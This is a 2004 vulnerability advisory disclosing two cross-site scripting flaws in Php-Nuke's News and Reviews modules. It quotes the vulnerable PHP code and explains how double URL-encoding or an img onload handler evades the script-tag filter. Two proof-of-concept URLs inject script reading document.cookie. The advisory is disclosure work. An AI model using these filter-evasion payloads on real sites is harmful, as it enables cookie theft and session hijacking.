Author: Janek Vind "waraxe"
Date: 08 Feb 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (COntent Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If we look at Php-Nuke`s history, then we can find many cases reporting the XSS
in Php-Nuke. Most of them are fixed by now, when we have allready version 7.1.0
available. Despite this I found two new cases of XSS in Php-Nuke 6.x-7.1.0 , maybe in
older versions too.


Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let`s look at code from "/modules/News/friend.php" line 84-92 (Php-Nuke 7.1.0):


function StorySent($title, $fname) {
include ("header.php");
$title = urldecode($title);
$fname = urldecode($fname);
OpenTable();
echo "<center><font class="content">"._FSTORY." <b>$title</b> "._HASSENT." $fname... "._THANKS."</font></center>";
CloseTable();
include ("footer.php");
}


If we deliver $title or $fname by GET or POST variable, then we have XSS
conditions here. But Php-Nuke will reject GET and POST requests with <script> tags.
One way to evade this filter is the using of <img src=foo onload=[code here]>.

There is better way to exploit the XSS, and it`s the using of partially or fully
urlencoded ("hexed") script for exploit. And because we have lines

$title = urldecode($title);

and

$fname = urldecode($fname);

in original code, it will be urldecoded and will work for us, but GET or POST
filtering can`t recognize the "<script>" pattern.

Same problem has one more module - "Reviews".


Proof of concept examples:

http://f00bar.com/modules.php?name=News&file=friend&op=StorySent&title=%253cscript>alert%2528document.cookie);%253c/script>

http://f00bar.com/modules.php?name=Reviews&rop=postcomment&title=%253cscript>alert%2528document.cookie);%253c/script>



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

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Published on: 2005-01-06 (2838 reads)